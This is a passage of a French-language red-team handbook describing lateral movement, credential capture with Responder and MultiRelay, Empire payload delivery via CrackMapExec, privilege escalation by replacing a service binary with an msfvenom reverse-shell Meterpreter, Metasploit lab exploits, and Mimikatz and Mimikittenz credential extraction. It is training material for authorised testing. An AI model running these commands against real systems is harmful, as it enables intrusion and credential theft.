Un point sur lequel j’insiste systématiquement est que la campagne globale est construite pour tester les Blue Teams sur leurs outils/processus de détection. Nous voulons déclencher certaines tâches et voir s’ils seront en mesure d’alerter ou d’identifier de façon « forensique3 » ce qui s’est passé. Pour cette partie du labo, j’aime valider le fait de savoir si l’entreprise peut déterminer que quelqu’un exfiltre les courriels de ses utilisateurs. Donc, ce que nous faisons, c’est décharger tous les emails compromis en utilisant un script Python (https://github.com/O365/python-o365). Dans de nombreux cas, il peut s’agir de gigaoctets de données !
Labo avancé
Un très bon exercice consisterait à prendre les différents services de type d’authentification et à les tester tous pour les mots de passe. Essayez de créer un outil de spray de mots de passe qui teste l’authentification sur des services XMPP, des outils tiers SaaS et aux autres protocoles courants. Le mieux serait de le faire à partir de plusieurs serveurs virtuels VPS, tous contrôlés à partir d’un seul serveur maître.


Se déplacer dans le réseau
En tant que membre d’une Red Team, nous cherchons à nous déplacer dans le réseau le plus discrètement possible. Nous voulons utiliser des fonctionnalités qui nous permettent de trouver des informations sur le réseau, les utilisateurs, les services, etc., et de nous en servir pour atteindre nos objectifs. En général, dans le cadre d’une campagne Red Team, nous ne voulons pas effectuer d’analyse de vulnérabilité dans un environnement. Il y a même des moments où nous ne voudrions même pas lancer une analyse nmap sur un réseau interne. En effet, beaucoup d’entreprises sont devenues assez efficaces dans la détection de ces types de balayages, en particulier lorsqu’elles utilisent quelque chose d’aussi fort qu’un analyseur de vulnérabilité.
Dans cette section, vous allez vous concentrer sur les déplacements dans le réseau de Cyber Space Kittens sans déclencher de détections. Nous supposerons que vous êtes déjà entré d’une manière ou d’une autre dans le réseau, et que vous avez commencé soit à chercher votre première série d’informations d’identification, soit à avoir un shell sur la machine d’un utilisateur.
Configuration de l’environnement – Labo réseau
Cette partie est complètement facultative, mais, du fait des licences Microsoft, il n’y a pas de machine virtuelle préconfigurée dans les sources qui accompagnent ce livre. C’est donc maintenant à vous de construire un laboratoire !
La seule façon d’apprendre vraiment comment attaquer des environnements, c’est de tout construire vous-même. Cela vous donne une image beaucoup plus claire de ce à quoi vous vous attaquez, une meilleure compréhension du pourquoi les attaques fonctionnent ou échouent, et cela vous permet de comprendre les limites de certains outils ou processus. Quel genre de labo devez-vous construire ? Vous en aurez probablement besoin pour Windows et Linux (et peut-être même pour Mac) en fonction de l’environnement de votre client. Si vous attaquez des réseaux d’entreprise, vous devrez probablement construire un réseau Active Directory complet. Dans le labo suivant, nous montrerons comment procéder pour tous les exemples de ce livre.
Un labo de test Windows idéal à créer « comme chez soi » pourrait ressembler à ce qui suit :
	Contrôleur de domaine - Serveur : [Contrôleur de domaine Windows 2016].

	Serveur Web : [IIS sous Windows 2016].

	Machines clientes : [Windows 10] x 3 et [Windows 7] x 2.

	Toutes fonctionnant sous VMWare Workstation avec au moins 16 Go de RAM et 500 Go de disque dur SSD.


Configuration et création d’un contrôleur de domaine :
	Instructions Microsoft pour la construction d’un serveur 2016 :
	http://bit.ly/2JN8E19



	Une fois Active Directory installé et configuré, créez des utilisateurs et des groupes avec dsac.exe
	Créez plusieurs utilisateurs.

	Créez des groupes et affectez-les aux utilisateurs :
	Space

	Helpdesk

	Lab






Configurez les machines clientes (Windows 7/10) pour rejoindre le domaine :
	Mettez à jour toutes les machines.

	Joignez les machines au domaine :
	https://helpdeskgeek.com/how-to/windows-join-domain/



	Assurez-vous d’ajouter un utilisateur du domaine avec la possibilité d’agir en tant qu’administrateur local sur chaque boîte. Ceci peut être réalisé en ajoutant cet utilisateur au groupe d’administrateurs locaux sur la machine locale.

	Activez l’administrateur local sur chaque hôte et définir son mot de passe.


Configurez votre stratégie de groupe (ou GPO4) pour :
	Désactiver le pare-feu :
	https://www.youtube.com/watch?v=vxXLJSbx1SI



	Désactiver l’antivirus (http://bit.ly/2EL0uTd).

	Désactiver les mises à jour.

	Ajouter Helpdesk au groupe des administrateurs locaux.

	Autoriser uniquement la connexion pour les administrateurs de domaine, les administrateurs locaux et helpdesk (http://bit.ly/2qyJs5D).

	Enfin, liez votre GPO à votre domaine racine.


Définissez tous les utilisateurs pour chaque OS en mode connexion automatique (cela rend juste la vie beaucoup plus facile pour les tests). Chaque fois qu’une machine démarre ou redémarre, elle se connecte automatiquement pour que nous puissions facilement tester les attaques qui retirent les identifiants de la mémoire :
https://bit.ly/2WMTn5v

Configurez IIS Server et configurez les noms principaux de service (SPN) :
https://bit.ly/2icPTsr ou https://bit.ly/2L2nvYy
https://bit.ly/2Xp86ba


Sur le réseau sans justificatifs d’identité
Supposons que vous n’ayez pas été en mesure d’obtenir des mots de passe « sprayant » leurs services externes. Vous décidez donc de vous « faufiler » dans le bâtiment. Vous attendez l’heure du déjeuner pour vous rendre dans les bureaux des Cyber Space Kittens et trouver la porte destinée aux fumeurs. Même si vous ne fumez pas, vous savez que les fumeurs ont cette mentalité grégaire. Vous allumez une cigarette, vous discutez de tout et de rien avec les types et, lorsqu’ils rentrent dans l’immeuble, vous les suivez… sans poser de questions !
Maintenant que vous êtes entré par effraction dans les bureaux de CSK, vous ne voulez pas vous faire prendre en y restant trop longtemps. Vous sortez votre drop box (ou boîte de dépôt5), vous trouvez un bureau vide, vous branchez la boîte sur le réseau, vous vérifiez votre téléphone pour voir s’il a balisé votre logement et vous retournez rapidement à l’air libre.
Une fois rentré chez vous, vous sautez sur votre ordinateur portable, vous vous connectez à votre serveur VPN, et vous poussez un soupir de soulagement en vérifiant que les balises de votre drop box se connectent toujours à votre appartement. Maintenant que vous êtes capable d’accéder par SSH à votre box, qui contient tous vos outils de hacker, vous pouvez lentement découvrir le réseau du client, pivoter entre les boîtes, et essayer d’obtenir les données qui vous intéressent.
Responder
Nous utilisons Responder (https://github.com/lgandx/Responder) pour écouter sur le réseau et détourner les réponses afin d’obtenir des informations d’identification. Lorsqu’un système sur le réseau effectue une recherche de nom d’hôte DNS qui échoue, cette victime utilise le protocole Link-Local Multicast Name Resolution (LLMNR en abrégé6) et Net-BIOS Name Service (NBT-NS7) pour la résolution d’une solution de repli. Lorsque le PC de la victime échoue dans la recherche DNS, cette victime commence à demander à n’importe qui sur le réseau si elle connaît la résolution pour ce nom d’hôte.
Voici un exemple simple et général : disons que votre PC est équipé d’un lecteur fixe pour \\cyberspacekittenssecretdrive\secrets. Un jour, le service informatique supprime ce disque partagé du réseau, et il n’existe donc plus. En raison du fait que vous avez toujours un lecteur monté pour ce nom de serveur, cyberspacekittenssecretdrive, votre système demandera continuellement au réseau si quelqu’un connaît son adresse IP. Aujourd’hui, cet exemple de partage de fichiers pourrait être rare à trouver. Cependant, comme il y a une forte probabilité pour qu’un système précédemment connecté n’existe plus sur le réseau, ce problème se produira quand même. Nous l’avons rencontré sur des montages semblables à la description ci-dessus, des applications qui ont des serveurs codés en dur et, bien souvent, de simples erreurs de configuration.
Nous pouvons utiliser un outil comme Responder pour tirer profit de tels systèmes à la recherche d’un nom d’hôte et y répondre avec notre serveur malveillant. Encore mieux, Responder peut faire un pas de plus et agir comme un serveur WPAD (Web Proxy Auto-Discovery Protocol8), mais c’est une tout autre attaque.
	cd /opt/Responder

	./Responder.py -I eth0 -wrf


Maintenant, puisque nous sommes dans un environnement Windows d’entreprise, nous pouvons supposer qu’il s’agit très probablement d’Active Directory. Donc, si nous pouvons répondre à la recherche DNS de notre hôte victime, nous pouvons faire en sorte que leur système se connecte à notre partage SMB. Du fait que la connexion s’effectue sur le lecteur \\cyberspacekittenssecretdrive, nous allons forcer la victime à s’authentifier avec ses identifiants NTLMv29 (identifiants en cache).
Ces identifiants que nous capturons ne seront pas des condensats (hachages) NTLM directs, mais des condensats NTLM Défi/Réponse (NTLMv2-SSP). Le seul bémol est qu’ils sont vraiment beaucoup plus lents à être « craqués », mais ce n’est pas un gros problème de nos jours avec les outils dont nous disposons (voir la Figure 4.4).
[image: FIGURE 4.4 : Utiliser Responder.]
FIGURE 4.4 : Utiliser Responder.
Nous pouvons prendre le condensat NTLMv2, le passer à hashcat, et « craquer » les mots de passe. Dans hashcat, nous devons spécifier le format de hachage (option -m, voir https://bit.ly/2Rq35cV) pour NetNTLMv2.
hashcat -m 5600 hashes\ntlmssp_hashes.txt passwordlists/*

Maintenant, supposons que nous ne voulions pas vraiment craquer les condensats, ou que cela ne nous dérange pas d’alerter l’utilisateur de quelque chose de suspect. Ce que nous pouvons faire, c’est forcer une fenêtre contextuelle d’autorisation basique au lieu d’exiger l’utilisation des identifiants NetNTLMv2 en utilisant les options F (ForceWpadAuth) et b (authentification de base).
python ./Responder.py -I eth0 -wfFbv

Comme l’illustre la Figure 4.5, l’utilisateur est invité ici à entrer son nom et son mot de passe, ce que la plupart des gens accepteront aveuglément de faire. Une fois ces identifiants soumis, nous serons en mesure de les capturer sous forme de texte clair (voir la Figure 4.6) !
[image: FIGURE 4.5 : Ami utilisateur, dis-nous tout sur toi !]
FIGURE 4.5 : Ami utilisateur, dis-nous tout sur toi !
[image: FIGURE 4.6 : Le mot de passe est capturé.]
FIGURE 4.6 : Le mot de passe est capturé.


Un meilleur Responder avec MultiRelay.py
Le problème avec la méthode précédente, c’est qu’elle peut être très lente. Pire encore, nous avons travaillé dans des environnements où les mots de passe des administrateurs comportent plus de 20 caractères. Que pouvons-nous faire dans de telles situations ? Si l’environnement n’impose pas une signature SMB (ce que nous pouvons trouver via un scan rapide avec un script nmap – https://bit.ly/2L1OJOO), nous pouvons faire un petit tour de passe-passe en rejouant la requête SMB que nous avons capturée.
Laurent Gaffié a inclus un outil dans Responder pour gérer les attaques d’authentification par rejeu. Selon le site de Laurent, « MultiRelay est un puissant utilitaire de pentest inclus dans le dossier outils de Responder, vous permettant d’effectuer des relais NTLMv1 et NTLMv2 ciblés sur une cible sélectionnée. Actuellement, MultiRelay relaie les authentifications HTTP, WebDav, Proxy et SMB à un serveur SMB. Cet outil peut être personnalisé pour accepter une plage d’utilisateurs devant être relayée vers une cible. Le concept sous-jacent est de ne cibler que les administrateurs de domaines, les administrateurs locaux ou les comptes privilégiés » (https://bit.ly/2ItlB1n).
Globalement, au lieu de forcer la victime à s’authentifier sur notre partage SMB, MultiRelay transmettra toute requête d’authentification à un hôte victime de notre choix. Bien sûr, l’utilisateur relayé devra avoir accès à cette autre machine. Cependant, en cas de succès, nous n’avons pas besoin de gérer les mots de passe ou autres. Pour commencer, nous devons configurer Responder et MultiRelay :
	Modifiez le fichier de configuration de Responder pour désactiver les serveurs SMB et http :
	gedit Responder.conf

	Mettez SMB et HTTP sur Off.



	Lancez Responder :
	python ./Responder.py -I eth0 -rv



	Démarrez MultiRelay dans une nouvelle fenêtre de terminal :
	/opt/Responder/tools

	./MultiRelay.py -t <hôte cible> -c <commande shell> -u ALL




Une fois que le relais vers un hôte victime est réalisable, nous devons réfléchir à ce que nous voulons exécuter sur le poste de travail de celle-ci. Par défaut, MultiRelay peut générer un shell de base, mais nous pouvons aussi exécuter automatiquement des charges utiles Meterpreter PowerShell, Empire PowerShell ou encore dnscat2 PowerShell, des scripts PowerShell pour télécharger et exécuter des agents C2, Mimikatz, ou simplement exécuter calc.exe pour donner des coups de pied dans la fourmilière.
[image: FIGURE 4.7 : Exécuter MultiRelay.]
FIGURE 4.7 : Exécuter MultiRelay.
Références :
https://bit.ly/2x3JG8n


PowerShell et Responder
Une fois que nous avons compromis un système Windows, nous pouvons utiliser le PowerShell de notre victime pour effectuer des attaques de style Responder. Deux fonctions du Responder d’origine peuvent être exécutées à l’aide des outils suivants :
	Inveigh (https://github.com/Kevin-Robertson/Inveigh)

	Inveigh-Relay (voir aussi https://bit.ly/2WPmDZv)


Pour rendre les choses encore plus faciles, tout cela est déjà intégré dans Empire.


Énumération des utilisateurs sans identifiants
Une fois sur le réseau, nous pourrions être capables d’utiliser Responder pour obtenir des informations d’identification ou des shells, mais il y a aussi des moments où la signature SMB est activée et où le « craquage » NTLMv2 SSP n’est pas viable. C’est à ce moment-là que nous prenons du recul et que nous en revenons à l’essentiel. Sans analyser pour autant activement le réseau, nous avons besoin d’obtenir une liste d’utilisateurs (cela pourrait être pour du spraying de mots de passe ou même de l’ingénierie sociale).
Une option consiste à commencer à énumérer les utilisateurs contre le contrôleur de domaine. Historiquement (disons en remontant jusqu’à 2003), on pouvait essayer d’effectuer un cycle RID (Relative ID10) pour obtenir une liste de tous les comptes utilisateurs. Bien que cela ne soit plus disponible, il existe d’autres options pour retrouver les comptes par force brute. Une méthode possible consiste à abuser Kerberos (voir la Figure 4.8) :
nmap -p88 --script krb5-enum-users --script-args krb5-enum-users.realm=»cyberspacekittens.local»,userdb=/opt/userlist.txt <IP du contrôleur de domaine>

[image: FIGURE 4.8 : Utiliser nmap pour trouver une liste d’utilisateurs.]
FIGURE 4.8 : Utiliser nmap pour trouver une liste d’utilisateurs.
Nous devrons fournir une liste de noms d’utilisateurs à tester, mais comme nous ne faisons qu’interroger le contrôleur de domaine et non l’authentifier, cette activité n’est généralement pas détectée. Maintenant, nous pouvons prendre ces comptes d’utilisateur et recommencer à « pulvériser » des mots de passe !

Scanner le réseau avec CrackMapExec (CME)
Si nous n’avons pas encore de système compromis, mais que nous avons obtenu des informations d’identification par le biais de Responder, d’une application Web mal configurée, par force brute ou tout autre procédé, alors nous pouvons essayer de balayer le réseau pour voir où ce compte peut se connecter. Un simple balayage à l’aide d’un outil comme CrackMapExec (cme) peut aider à trouver ce point d’entrée initial sur le réseau interne.
Historiquement, nous avons utilisé CME pour scanner le réseau, s’identifier/s’authentifier via SMB sur le réseau, exécuter des commandes à distance vers de nombreux hôtes, et même soutirer des identifiants en clair via Mimikatz. Grâce aux nouvelles fonctions d’Empire et de CME, nous pouvons profiter de la fonction REST d’Empire. Dans le scénario qui suit, nous allons faire tourner Empire avec son API REST, configurer le mot de passe dans CME, demander à CME de se connecter à Empire, scanner le réseau avec le seul identifiant dont nous disposons, et enfin, si nous nous authentifions, envoyer automatiquement une charge utile Empire vers le système distant de la victime. Si vous avez un compte privilégié ou helpdesk (service client), préparez-vous à recevoir une charge de shells Empire (voir la Figure 4.9) !
[image: FIGURE 4.9 : Empire et CME.]
FIGURE 4.9 : Empire et CME.
	Démarrez le serveur de l’API REST d’Empire :
	cd /opt/Empire

	./empire --rest –password ‘hacktheuniverse’.



	Changez le mot de passe de CrackMapExec :
	gedit /root/.cme/cme.conf

	password=hacktheuniverse



	Exécutez CME pour générer des shells Empire :
	cme smb 10.100.100.0/24 -d ‘cyberspacekittens.local’ -u ‘<username>’ -p ‘<password>’ -M empire_exec -o LISTENER=http





Après avoir compromis votre hôte initial
Après avoir obtenu l’accès à un hôte par le biais de l’ingénierie sociale, de boîtes de dépôt, de répondeurs, d’attaques d’imprimantes réseau ou autres, que faites-vous ensuite ? C’est toujours la question à un million de dollars.
Par le passé, il s’agissait avant tout de comprendre où vous en êtes et quel est l’état du réseau dans votre environnement immédiat. Nous pouvons initialement exécuter des commandes semblables à ‘netstat - ano’ pour trouver l’emplacement de nos plages IP des serveurs, domaines et utilisateurs de la victime. Nous pouvons aussi exécuter des commandes comme ‘ps’ ou ‘sc queryex type= service state= all | trouver «_NAME»’ pour lister tous les services en cours et rechercher un antivirus ou d’autres protections de base de l’hôte. Voici d’autres exemples de commandes que nous pourrions exécuter au départ :
Informations sur le réseau11 :
	netstat -anop | findstr LISTEN

	net group “Domain Admins” /domain


Liste des processus12 :
	tasklist /v


Informations sur l’hôte système13 :
	sysinfo

	Get-WmiObject -class win32 operatingsystem | select -property * | exportcsv c:\temp\os.txt

	wmic qfe get Caption,Description,HotFixID,InstalledOn


Recherche simple de fichiers14 :
	dir /s *password*

	findstr /s /n /i /p foo *

	findstr /si pass *.txt | *.xml | *.ini


Informations provenant des partages/disques montés15 :
	powershell -Command “get-WmiObject -class Win32_Share”

	powershell -Command “get-PSDrive”

	powershell -Command “Get-WmiObject -Class Win32_MappedLogicalDisk | select Name, ProviderName”


Soyons réalistes, personne n’a le temps de se souvenir de toutes ces commandes, mais nous avons de la chance ! Je crois que, en se basant sur le livre RTFM16 (excellente ressource), leostat a créé un script Python rapide qui contient une tonne de ces commandes pratiques facilement consultables à l’aide d’un outil appelé rtfm.py (https://github.com/leostat/rtfm) :
	Mettre à jour et exécuter RTFM :
	cd /opt/rtfm

	chmod +x rtfm.py

	./rtfm.py -u

	./rtfm.py -c ‘rtfm’.



	Rechercher toutes les balises :
	./rtfm.py -Dt



	Recherchez toutes les requêtes/commandes par balise. Une que j’aime utiliser est la catégorie Enumeration (voir la Figure 4.10) :
	./rtfm.py -t enumeration | more




[image: FIGURE 4.10 : Utiliser rtfm.py.]
FIGURE 4.10 : Utiliser rtfm.py.
RTFM est assez extensif et propose beaucoup de commandes utiles. Il s’agit d’une ressource très pratique pendant n’importe quelle campagne.
Ce sont toutes ces choses que nous faisons depuis toujours pour obtenir des informations, mais posons-nous la question : et si nous avions la possibilité d’obtenir beaucoup plus de l’environnement ? En utilisant PowerShell, nous pouvons obtenir les informations réseau/environnement dont nous avons besoin. Comme PowerShell est facilement exécutable à partir de n’importe lequel des outils C2, vous pouvez utiliser Empire, Metasploit ou encore Cobalt Strike pour ces labos. Dans les exemples qui suivent, nous utiliserons Empire, mais n’hésitez pas à essayer d’autres outils.

Élévation de privilèges
Il existe de multiples façons de passer d’un compte d’utilisateur régulier à un compte privilégié.
Chemins de service sans guillemets
Il s’agit d’une vulnérabilité assez facile et courante, où le chemin exécutable du service n’est pas entouré par des guillemets. Sans ces guillemets délimitant le chemin, nous pouvons abuser le service concerné. Supposons que nous ayons un service configuré pour exécuter C:\Program Files (x86)\Cyber Kittens\Cyber Kittens.exe. Si nous avons les autorisations en écriture dans le dossier Cyber Kittens, nous pouvons déposer un malware avec comme localisation C:\Program Files (x86)\Cyber Kittens\Cyber.exe (notez que Kittens.exe est manquant). Si le service s’exécute sur le système, nous pouvons attendre jusqu’à ce qu’il redémarre, et que notre malware fonctionne comme compte privilégié.
Comment trouver les chemins de service vulnérables :
	wmic service get name,displayname,pathname,startmode |findstr /i “Auto” |findstr /i /v “C:\Windows\\” |findstr /i /v “””

	Recherchez BINARY_PATH_NAME



Trouver des autorisations de registre non sécurisées pour des services
Identifiez les autorisations faibles qui permettent la mise à jour de l’emplacement du chemin image du service.

Vérifier si la clé de registre AlwaysInstallElevated est activée
Vérifiez les clés de registre AlwaysInstallElevated qui indiquent si les fichiers .MSI devraient être installés avec des privilèges élevés (NT AUTHORITY\SYSTEM).
Voyez aussi l’adresse : https://bit.ly/2X16G7D.
Notez que nous n’avons pas vraiment besoin de procéder manuellement, car quelques bons modules Metasploit et PowerShell ont été créés spécialement pour Windows. Dans l’exemple suivant, nous allons examiner le script PowerShell PowerUp (https://bit.ly/2WWdP95). Ici, ce script fonctionne en conjonction avec Empire et exécutera toutes les zones courantes avec une mauvaise configuration qui permettent à un utilisateur standard d’obtenir un compte administrateur ou système local. Comme l’illustre la Figure 4.11, nous l’avons exécuté sur notre système victime et nous avons vu qu’il y avait des chemins de service sans guillemets pour le système local. Nous n’arriverons peut-être pas à relancer le service, mais nous devrions pouvoir abuser de la vulnérabilité et attendre un redémarrage.
Pour exécuter le module PowerUp Empire :
usermodule privesc/powerup/allchecks

[image: FIGURE 4.11 : Utiliser le script PowerUp.]
FIGURE 4.11 : Utiliser le script PowerUp.
Notez les informations affichées en bas de la figure, et en particulier la ligne ModifiableFileIdentityReference : Everyone.
Il semble que le service WavesSysSyc soit accessible en écriture par tout le monde. Cela signifie que nous pouvons remplacer le fichier WaveSysSvc64.exe par notre propre exécutable binaire malveillant :
	Créez un binaire Meterpreter (nous verrons plus loin comment contourner l’antivirus) :
	msfvenom -p windows/meterpreter/reverse_https LHOST=[ip] LPORT=8080 -f exe > shell.exe



	Téléchargez le binaire en utilisant Empire et remplacez le binaire d’origine :
	upload ./shell.exe C:\\users\\test\\shell.exe

	shell copy C:\users\test\Desktop\shell.exe “C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe”



	Redémarrez le service ou attendez un redémarrage.


Après redémarrage, vous devriez récupérer votre shell Meterpreter comme service système ! En utilisant PowerUp, vous trouverez de nombreux services différents qui sont potentiellement vulnérables à une élévation (ou escalade) de privilèges. Si vous voulez en savoir plus sur les problèmes sous-jacents de Windows avec cette vulnérabilité, consultez l’article de FuzzSecurity : https://bit.ly/1pYvwPK.
Pour les systèmes Windows non corrigés, nous avons sous le coude quelques attaques par élévation de privilèges comme https://bit.ly/23Nka3J ou encore https://bit.ly/31JIWU6. Mais comment identifier rapidement les correctifs qui sont installés sur un système Windows ? Nous pouvons utiliser les commandes par défaut de notre système victime pour voir quels paquets de services sont installés. Windows est livré avec une commande par défaut, systeminfo, qui affiche tout l’historique des correctifs pour un hôte Windows donné. Nous pouvons prendre cette sortie, l’envoyer vers notre système Kali et lancer Windows Exploit Suggester pour trouver les exploits connus pour ces vulnérabilités.
De retour sur votre système Windows 10 victime :
	systeminfo

	systeminfo > windows.txt

	Copier windows.txt dans votre boîte Kali sous /opt/Windows-Exploit-Suggester

	python ./windows-exploit-suggester.py -i ./windows.txt -d 2018-03-21-mssb.xls


C’est ce qu’illustre la Figure 4.12 (vous pouvez évidemment spécifier un nom de fichier .xls à votre convenance).
Cet outil n’a pas été activement actualisé depuis un certain temps, mais vous pouvez facilement ajouter les vulnérabilités d’élévation de privilèges que vous recherchez.
Dans les cas où nous nous trouvons dans un environnement Windows totalement patché, nous nous concentrons sur différentes vulnérabilités d’élévation de privilèges dans les logiciels tiers, ou sur toute vulnérabilité de type zero-day pour l’OS. Par exemple, nous sommes constamment à la recherche de vulnérabilités comme celle décrite ici : https://bit.ly/2I0EDcZ. Habituellement, dans ces scénarios, il peut y avoir un code POC17 de base, mais c’est à nous de le tester, de le valider, et de nombreuses fois de terminer l’exploit. Voici certains des domaines que nous surveillons régulièrement pour déceler les vulnérabilités d’élévation de privilèges publiques :
[image: FIGURE 4.12 : Utiliser Windows Exploit Suggester.]
FIGURE 4.12 : Utiliser Windows Exploit Suggester.
https://insecure.org/search.html?q=privilege%20escalation
https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=escalation&colspec=ID+Type+Status+Priority+Milestone+Owner+Summary&cells=ids
(Adresse Bitly : https://bit.ly/2ZB8FME)

Souvent, ce n’est qu’une question de temps. Par exemple, lorsqu’une vulnérabilité est découverte, il peut n’y avoir qu’une fenêtre d’opportunité limitée pour compromettre davantage le système avant qu’un correctif ne soit publié.

Labo d’élévation de privilèges
Le meilleur laboratoire pour tester et essayer différentes vulnérabilités d’élévation de privilèges est Metasploitable3 (https://github.com/rapid7/metasploitable3) par Rapid7. Ce framework vulnérable construit automatiquement une machine virtuelle Windows avec toutes les vulnérabilités courantes et certaines beaucoup moins. Cela prend un peu de temps à mettre en place, mais une fois que la machine virtuelle est configurée, c’est un excellent laboratoire d’essai.
Pour vous donner un exemple rapide et vous aider à commencer :
	nmap la boîte Metasploitable3 (assurez-vous de prendre tous les ports car vous pourriez en manquer certains).

	Vous allez voir ManageEngine s’exécuter sur le port 8383.

	Démarrez Metasploit et recherchez toutes les vulnérabilités de ManageEngine :
	msfconsole

	search manageengine

	use exploit/windows/http/manageengine_connectionid_write

	set SSL True

	set RPORT 8383

	set RHOST <Votre IP>

	exploit

	getsystem



	Vous remarquerez que vous ne pouvez pas accéder au système car le service que vous avez compromis ne fonctionne pas en tant que processus privilégié. C’est ici que vous pouvez essayer toutes les différentes attaques d’élévation de privilèges.

	Une chose que nous voyons, c’est qu’Apache Tomcat fonctionne comme processus privilégié. Si nous arrivons à abuser ce service, nous pourrions être en mesure d’exécuter notre charge utile à un niveau de service supérieur. Nous avons vu qu’Apache Tomcat fonctionnait de l’extérieur sur le port 8282, mais il lui fallait un nom d’utilisateur et un mot de passe. Puisque nous avons un shell userland (ou espace utilisateur18), nous pouvons essayer de rechercher ce mot de passe sur le disque. C’est ici que nous pouvons faire des recherches sur Internet ou sur Google en demandant où sont stockés les mots de passe Tomcat. La réponse est tomcat-users.xml.

	Dans la boîte de la victime, on peut rechercher et lire le fichier tomcat-users.xml :
	shell

	cd \ && dir /s tomcat-users.xml

	type “C:\Program Files\Apache Software Foundation\tomcat\apache-tomcat-8.0.33\conf\tomcat-users.xml”



	Attaquons maintenant Tomcat avec les mots de passe que nous avons trouvés. Tout d’abord, connectez-vous à la console de gestion Tomcat sur le port 8282 et vérifiez que notre mot de passe fonctionne. Nous pouvons alors utiliser Metasploit pour déployer un fichier WAR malveillant via Tomcat.
	search tomcat

	use exploit/multi/http/tomcat_mgr_upload

	show options

	set HTTPusername sploit

	set HTTPpassword sploit

	set RPORT 8282

	set RHOST <Metasploitable3_IP>

	set Payload java/shell_reverse_tcp

	set LHOST <Votre IP>

	exploit

	whoami



	Vous devriez maintenant être au niveau système. Nous avons profité d’un outil tiers pour provoquer une élévation de privilèges vers System.



Extraire des identifiants en texte clair depuis la mémoire
Mimikatz (https://github.com/gentilkiwi/mimikatz) existe depuis un certain temps, et il a changé la donne en termes d’obtention de mots de passe en clair. Avant Windows 10, l’exécution de Mimikatz sur un système hôte en tant qu’administrateur local permettait à un attaquant d’obtenir des mots de passe en texte clair depuis LSASS19 (Local Security Authority Subsystem Service). Cela fonctionnait très bien jusqu’à ce que Windows 10 arrive et le rende inaccessible en lecture, même en tant qu’administrateur local. Maintenant, j’ai vu quelques cas d’utilisation étranges où l’authentification unique (ou SSO20) ou bien un logiciel particulier remet les mots de passe dans LSASS pour que Mimikatz puisse les lire, mais nous allons ignorer ceci pour le moment. Dans ce chapitre, nous allons parler de ce qu’il faut faire quand cela ne fonctionne pas (comme dans le cas de Windows 10).
Supposons que vous avez compromis un poste de travail Windows 10 et qu’il y a eu élévation de privilèges vers un administrateur local. Par défaut, vous auriez fait appel à Mimikatz et, comme le montre la requête illustrée sur la Figure 4.13, vous constateriez que les champs du mot de passe sont NULL.
Alors, que pouvez-vous faire ? L’option la plus simple consiste à définir la clé de registre pour remettre les mots de passe dans LSASS. Dans HKLM, il existe un paramètre UseLogonCredential qui, s’il est réglé sur 0, stockera les informations d’identification en mémoire (http://bit.ly/2vhFBiZ) :
	reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

	Dans Empire, nous pouvons exécuter ceci via la commande de shell :
	shell reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f




[image: FIGURE 4.13 : Windows 10 et Mimikatz à l’œuvre.]
FIGURE 4.13 : Windows 10 et Mimikatz à l’œuvre.
Le problème avec ce paramètre est que nous aurons besoin que l’utilisateur se reconnecte au système. Vous pourriez provoquer un délai d’attente à l’écran, un redémarrage ou une déconnexion, de sorte que vous puissiez à nouveau capturer des informations d’identification en texte clair. Le plus simple est de verrouiller leur poste (pour qu’ils ne perdent rien de leur travail... voyez comme nous sommes gentils !) Pour déclencher un écran de verrouillage :
	rundll32.exe user32.dll,LockWorkStation


Une fois que nous avons provoqué le verrouillage de l’écran et qu’ils se sont reconnectés, nous pouvons réexécuter Mimikatz avec des mots de passe en clair (voir la Figure 4.14).
Et si on ne peut pas accéder à un compte d’administrateur local ? Quelles sont les autres options dont nous disposons pour obtenir les informations d’identification d’un utilisateur ? Autrefois, une attaque de pentest courante consistait à regarder dans la mémoire de clients
[image: FIGURE 4.14 : Les mots de passe sont maintenant en clair.]
FIGURE 4.14 : Les mots de passe sont maintenant en clair.
pour voir si des informations d’identification étaient stockées en texte clair. Maintenant que tout est basé sur un navigateur, pouvons-nous faire la même chose dans celui-ci ?
C’est ici que putterpanda a mis au point un outil de style POC (Proof Of Concept), appelé Mimikittenz, pour y parvenir :
https://github.com/putterpanda/mimikittenz

Mimikittenz utilise la fonction ReadProcessMemory() de Windows pour extraire les mots de passe en clair de divers processus cibles tels que les navigateurs.
Mimikittenz a de nombreuses requêtes de recherche en mémoire préchargées pour Gmail, Office365, Outlook Web, Jira, Github, Bugzilla, Zendesk, Cpanel, Dropbox, Microsoft OneDrive, AWS Web Services, Slack, Twitter et Facebook. Il est également facile d’écrire vos propres expressions de recherche dans Mimikittenz.
La meilleure partie de cet outil est qu’il ne nécessite pas d’accès en tant qu’administrateur local, car il s’agit d’une mémoire d’espace utilisateur. Une fois que nous avons compromis un hôte, nous allons importer Mimikittenz en mémoire, et exécuter le script Invoke-mimikittenz (voir la Figure 4.15).
[image: FIGURE 4.15 : Utiliser Mimikittenz.]
FIGURE 4.15 : Utiliser Mimikittenz.
Comme le montre la figure, l’utilisateur s’était connecté à GitHub via Firefox, et nous avons pu extraire son nom d’utilisateur et son mot de passe de la mémoire du navigateur. Maintenant, j’espère que tout le monde peut pousser cet outil à un niveau encore plus élevé, et créer davantage de requêtes de recherche pour différentes applications.

Obtenir des mots de passe à partir du magasin d’identifiants Windows et des navigateurs
Le magasin d’identifiants Windows est une fonction par défaut de Windows qui enregistre les noms d’utilisateur, les mots de passe et les certificats des systèmes, sites Web et serveurs. Lorsque vous vous êtes authentifié sur un site Web à l’aide de Microsoft IE/Edge, vous obtenez normalement une fenêtre pop-up qui vous demande si vous voulez sauvegarder votre mot de passe.
Le magasin Windows est l’endroit où ces informations sont stockées. Au sein du gestionnaire d’identification, il existe deux types de données : Web et Windows (voir la Figure 4.16). Souvenez-vous que ce n’est pas le système, mais l’utilisateur qui est connecté qui peut récupérer ces informations. C’est très bien pour nous puisque, comme dans tout hameçonnage ou exécution de code, nous possédons généralement les droits de cette personne. La meilleure
[image: FIGURE 4.16 : Le gestionnaire d’identification Windows.]
FIGURE 4.16 : Le gestionnaire d’identification Windows.
partie est que nous n’avons même pas besoin d’être un administrateur local pour extraire ces données.
Comment pouvons-nous récupérer cette information ? Il existe deux scripts PowerShell différents que nous pouvons importer pour collecter ces données :
